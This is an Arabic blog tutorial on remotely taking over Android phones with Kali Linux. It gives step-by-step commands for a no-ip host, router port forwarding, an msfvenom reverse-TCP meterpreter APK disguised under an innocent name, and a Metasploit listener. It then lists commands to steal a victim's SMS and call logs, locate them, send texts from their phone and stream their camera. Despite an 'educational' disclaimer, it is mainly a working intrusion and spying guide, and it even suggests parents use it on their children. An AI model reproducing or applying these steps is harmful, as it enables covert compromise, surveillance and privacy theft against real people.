اختراق هواتف الاندرويد خارج الشبكة و الابقاء على الاتصال باستعمال الكالي لينكس

اختراق هواتف الاندرويد خارج الشبكة و الابقاء على الاتصال باستعمال الكالي لينكس

شارك مع اصدقائك:

هذا المقال قد تم اغلاقه ...
نظرا لقلة الدعم الذي يقدمه المستخدم العربي فقد راينا الكثير من المدونات والمنتديات قد اغلقت ... وذلك لعدة اسباب اخرى منطقية نذكر منها :
  • المواضيع التافهة التي يبحث عنها المستخدم العربي
  • عقلية المستخدم العربي في النقد الهدام
  • توجهات المستخدم العربي الفارغة
  • غياب معنى المصادر المفتوحة والمجتمع المعطي بدون مقابل في العالم العربي
هذه فقط سلبيات رايناها في الساحة فذكرناها بدون تقليل او تجريح على امل التطوير والقيام بالنهضة التقنية في العالم العربي.
doaa
هناك العديد من الطرق لاختراق الهاتف الذكي الذي يعمل بنظام أندرويد باستخدام الكالي لينكس، لكن كل هذه الحيل تعمل فقط على الشبكة المحلية يعني تنجح فقط مع الهواتف المتصلة بشبكتك.
و اليوم سنتطرق الى كيفية اختراق هاتف الاندرويد خارج الشبكة بدون فقد الاتصال باستخدام الكالي لينكس.
ان هذا المحتوى هدفه تعليمي فقط.
بهذه الطريقة يمكنك اختراق اي هاتف ذكي يعمل بنظام الاندرويد متصل بالانترنت و في اي مكان كان.
سنستعمل "Public IP" الخاص بك و الذي سيكون من الغباء اختراق جهاز باستعمال هذا الاي بي مباشرة و المخترقين الاخرون يستعملون طرف ثالث بين جهاز الضحية و الاي بي العام الخاص بهم للابقاء على الاتصال و تغطية الاثر نوعا ما لانك حتى باستعمال public ip فان هذا الاخير يتغير بعد اعادة اتصالتك بالانترنتت.

اختراق هواتف الاندرويد باستعمال الكالي لينكس

الذي تحتاجه للبدا معنا في تطبيق الخطوات التالية ستحتاج الى الراوتر يدعم اعادة توجة المنافذ و نظام الكالي لينكس و الـ Metasploit و خدمة no-ip و يجب ان يكون لديك اتصال مع هاتف الضحية.

الفكرة ستكون بانشاء "Payload" خاص بالاندرويد و ارساله الى الضحية و لهذا كما قلت فمن المفروض ان يكون لديك اتصال مع الضحية.

انشاء اسم مضيف جديد باستعمال خدمة no-ip

لماذا يجب ان نستعمل no-ip

من المعلوم ان الاي بي العام يتغير في كل مرة تطفئ فيها جهازك او تعيد الاتصال بالانترنت الى اي بي اخر تماما الذي يفرض علينا الا نستعمله كنقطة اتصال بين هاتف الضحية و لينكس الخاص بنا لانه ما ان نعيد الاتصال بالانترنت فاننا سنفقد الاتصال بالضحية.
و لهذا نستعمل خدمة no-ip و اليك ما تفعله هذه الخدمة تجعل عنوان IP الديناميكي (المتغير) الخاص بك يتصرف كما لو كان ثابتًا باختصار (Static).

تسجيل بموقع no-ip

  1. تقوم اولا بالدخول الى موقع no-ip من هنا.
  2. تضغط على "Sign up" لتسجيل حساب جديد بالموقع
  3. تدخل المعلومات المناسبة الايميل و الباسورد و في الـ "Host name" تُدخل اي اسم من عندك تستطيع تذكره
  4. و تنزل مباشرة نحو الاسفل و تضغط على "Free Sign up"

انشاء مضيف

  1. بعد تفعيل حسابك، تقوم بتسجيل الدخول اليه.
  2. ستظهر لك صفحة جديد تضغط مباشرة على زر "Add hostname" ثم تعبئ المعلومات.
  3. في الـ "Hostname" تُدخل اي اسم تتذكره جيدا و في "Domain" تختار "hopto.org"
  4. اذا لم يكن باستطاعتك انشاء هوست جديد و هذا بعد تحديثات الموقع تذهب من القوائم الجانبية الى "Dynamic DNS" و ستجد ان الموقع قد انشا Hostname جديد من قبل و كما ينبغي، اما اذا كنت تريد انشاء المزيد من "Hostname" فيجب ان تشتري الحساب المدفوع.
تسجيل حساب جديد في موقع no-ip

الاتصال بالمضيف

#1 ترجع الى صفحة الموقع من جديد و من الاعلى تضغط على "Download" او تدخل الى صفحة التحميل من هنا مباشرة.
#2 ستجد زر "Download Now" ضخم تضغط عليه و سيبدا تحميل الحزمة التي نريدها، مكان الحفظ افتراضيا سيكون مجلد "Downloads"
#3 تفتح التارمنال و تدخل الامر التالي للانتقال الى مجلد التحميل "Downloads".
cd Downloads
#4 تُدخل الامر التالي لفك الضغط عن الحزمة المحملة.
tar xf noip-duc-linux.tar.gz 
5# تدخل الامرين التالين للدخول الى مجلد "no-ip" و تثبيت خدمة "no-ip"
cd noip-2.1.9-1/
make install
غير"noip-2.1.9-1" الى اسم المجلد الذي ظهر عندك، انتظر قليلا ليطلب منك ادخال الايميل تقوم بادخاله و من الكيبورد تضغط على مفتاح الدخول و سيطلب منك ادخال الباسورد تقوم بادخالها و تضغط "Enter" ثم تُدخل رقم "5" و تضغط مفتاح الدخول مرة اخرى و اخير تدخل "n" و تضغط "Enter" اخيرا.

تثبيت no-ip

#6 التحقق من ان المضيف متصل بالانترنت، لفعل ذلك تُدخل الامر التالي.
ping fhack98.hopto.org
تغير "fhack98.hopto.org" باسم المضيف الذي حصلت عليه من موقع "no-ip".

اختراق هواتف اندرويد

اذا ظهرت عندك معلومات كثيرة فذلك يعني انه يتم ارسال و استقبال الحزم من و الى المضيف و الذي يعني انه متصل، لايقاف العملية من الكيبورد اضغط على "CTRL + C"

اختراق اي هاتف اندرويد باستخدام الكالي لينكس

فتح بورت خاص على الراوتر

عندما نرسل للضحية الحمولة (Payload) و يقوم بتثبيته و فتحه فان هذا Payload سيرسل لنا من جهاز الضحية طلب اتصال الى اي بي العام الخاص بك (اما باستعمالنا no-ip فانه يتم محاولة الاتصال بالمضيف الذي انشاءناه و هو بدوره يقوم بالاتصال بالاي بي الخاص بنا) سيتلقى الراوتر الاتصال و بعملنا لاعداة توجيه الاتصال سيعرف الراوتر لمن هذا الاتصال هل للويندوز او اللينكس او الهاتف بمعنى اننا سنحدد له اي جهازعلى شبكتنا  و اي نظام تابع له هذا الاتصال مفهوم!!

#1 تقوم بالدخول الى اعدادات الراوتر الخاص بك بادخال اي بي الراوتر في المتصفح و في الغالب سيكون بهذا الشكل 192.168.1.1 لكن اذ لم يكن كذلك فعليك بمعرفة اي بي الراوتر اولا و اليك الطريقة.

#2 تبحث في الاعدادات عن "Port Range Forwarding" او "Routing" او "Virtual Server" او شيء من هذا القبيل.

#3 بعد ان تجدها تضيف "اعاددة توجيه جديدة" "New Route".

#4 الان تذهب مباشرة الى الكالي لينكس و تفتح التارمنال و تكتب الامر التالي لمعرفة الاي بي الخاص بالكالي.
ifconfig

معرفة اي بي الكالي لينكس باستعمال تارمينال

في الغالب ستجده يبدا بـ"192" كما موضح في الصورة ثم تقوم بنسخه.

#5 و ترجع الى صفحة الراوتر و كما قلنا تضيف اعادة توجيه جديدة و تدخل المعلومات المهمة التالية:

فتح بورت خاص على الراوتر

  1. البروتوكول "tcp" 
  2. "Destination IP" او "Local IP" تُدخل فيها الاي بي الذي نسخناه في الخطوة (4)
  3.  و في منفذ البداية "Start Port" تدخل الرقم "4040" و كذلك بالنسبة لمنفذ النهاية "End Port" يمكن ان تغير هذا الرقم الى اي شيء اخر غير المنافذ الاساسية في حاسوبك كـ "80" و غيرها من المنافذ المعروفة.
  4. و في الاخير تضغط على "Add" او "Save" .

انشاء تطبيق اختراق اندرويد - Payload

الحمولة (Payload) التي سننشاها الان هي تطبيق اندرويد نرسله الى جهاز الضحية ليقوم بتثبيته و عندما يقوم بذلك سيتيح لنا الاتصال بجهاز اندرويد الضحية و التحكم به.
سنستعمل اداة Metasploit لانشاء الحمولة "Payload" و للتنصت و اختراق هاتف الضحية، و في الغالب ستكون متاحة على توزيعة كالي لينكس.

#1  قم بفتح الطرفية "Terminal" و ادخل الامر الاتي لانشاء الحمولة او مايسمى بـ Payload و غير ما يجب تغييره.

msfvenom -p android/meterpreter/reverse_tcp LHOST=fhack98.hopto.org LPORT=4040 -o /root/Desktop/hacking.apk
لاحظ اننا اضفنا الهوست fhack98.hopto.org  - الذي انشاناه في الخطوات الاولي - من موقع no-ip فاذا تخطيت الخطوات الاولى و لم تنشا حساب no-ip فيمكنك استعمال اي بي العام الخاص بك مادمت تقوم بتجريب فقط.
غير hacking.apk الى اسم غير مشكوك في امره مثل upgrade.apk حتى لا ينتبه اليه الضحية.
#2 تنتظر للحظات و سيتم انشاء تطبيق اندرويد في سطح المكتب عندك.

انشاء بيلود للاندرويد باستخدام metasploit

#3 بعدما ترسل التطبيق الذي انشاناه في الخطوة (1) الى الضحية، تذهب و تفتح الطرفية مرة اخرى و تشغل msfconsole بادخال الامر التالي:
msfconsole
#4 انتظر قليلا، ثم ادخل الامر التالي:
use multi/handler
#5 ثم تدخل كل امر على حدة من الاوامر التالية:
set LHOST fhack98.hopto.org
set LPORT 4040
set ReverseListnerBindAddress 192.168.58.129

* غير fhack98.hopto.org باسم المضيف الذي حصلت عليه من no-ip في الخطوات اولى.
* غير 192.168.58.129 بالاي بي الخاص بالكالي لينكس (الخطوة 4 من فتح بورت خاص على الراوتر)
* اما رقم البورت 4040 يجب ان تكون بنفس بورت البيلود التي انشاناه في الخطوات الاولى و نفسه الذي ادخلناه في الراوتر.
#7 ثم تُدخل الامر التالي لبدا التنصت :
exploit

ادخال المعلومات للاتصال بالبيلود

ما ان يقوم الضحية بتثبيت التطبيق سيظهر عندك "meterpreter" و الذي يعني انك نجحت في اختراق هاتف اندرويد الضحية و اصبح بامكانك التحكم الكامل في الهاتف.

تم اختراق هاتف الاندرويد

كيفية التحكم في هاتف الضحية

تاليا مجموعة الاوامر التي تساعدك على التحكم في الهاتف عن بعد و القيام ببعض الامور الرائعة كمعرفة رسائل الضحية و سجل الاتصالات و حتى يمكنك ارسال رسائل SMS عبر هاتف الضحية و غيرها.

* لمعرفة ما اذا كان الهاتف يعمل بالروت ام لا ادخل الامر التالي:  check_root

* لمعرفة مكان تواجد الضحية بالضبط ادخل الامر التالي:  wlan_geolocate

* لتحميل سجل مكالمات ادخل الامر التالي:  dump_calllog
* لتحميل الرسائل ادخل الامر التالي:  dump_sms
سيتم تحميلها على شكل ملف نصي و ستجده في مجلد "root".

* لارسال رسالة sms من هاتف الضحية الى شخص اخر ادخل الامر التالي مع تغيير ما يجب تغييره:
send_sms -d 0123456 -t Hello
غير 0123456 برقم هاتف الشخص الذي تريد ان ترسل له sms من هاتف الضحية.
غير Hello بالرسالة التي تريد ان ترسلها.

* لالتقاط صورة من كامير الهاتف:
  1. لاظهار جميع كاميرات الهاتف webcam_list
  2. ستظهر لك قائمة بالكاميرات تختار واحدة تريد التصوير منها webcam_snap 2

* لبث فيديو مباشر من كامير هاتف الضحية ادخل الامر التالي:
webcam_stream
سيفتح عندك المتصفح تلقائيًا وسترى البث المباشر من الكاميرا الخاصة به.

اما الان فدعني اوضح لك عزيزي القارئ ان هدفي من نشر هذه المقالة المعنونة بهذا العنوان هو اولا اثراء المحتوى العربي ثانيا تثقيف القارئ العربي ثالثا التنبيه الى هذه الطرق في الاختراق لتتفاداها مستقبلا و تعلم ان ليس كل ملف يرسل لك يمكنك تحميله، و ليست هذه الطرق للـ Black Hat او كما يسمون اصحاب القبعات السوداء فالاباء مثلا يمكن ان يستعملوا هذه الطرق على هواتف اولاده اذا كانوا يريدوا ان يكونوا اقرب منهم 😋 و انت و نواياك.

ليست هناك تعليقات

–>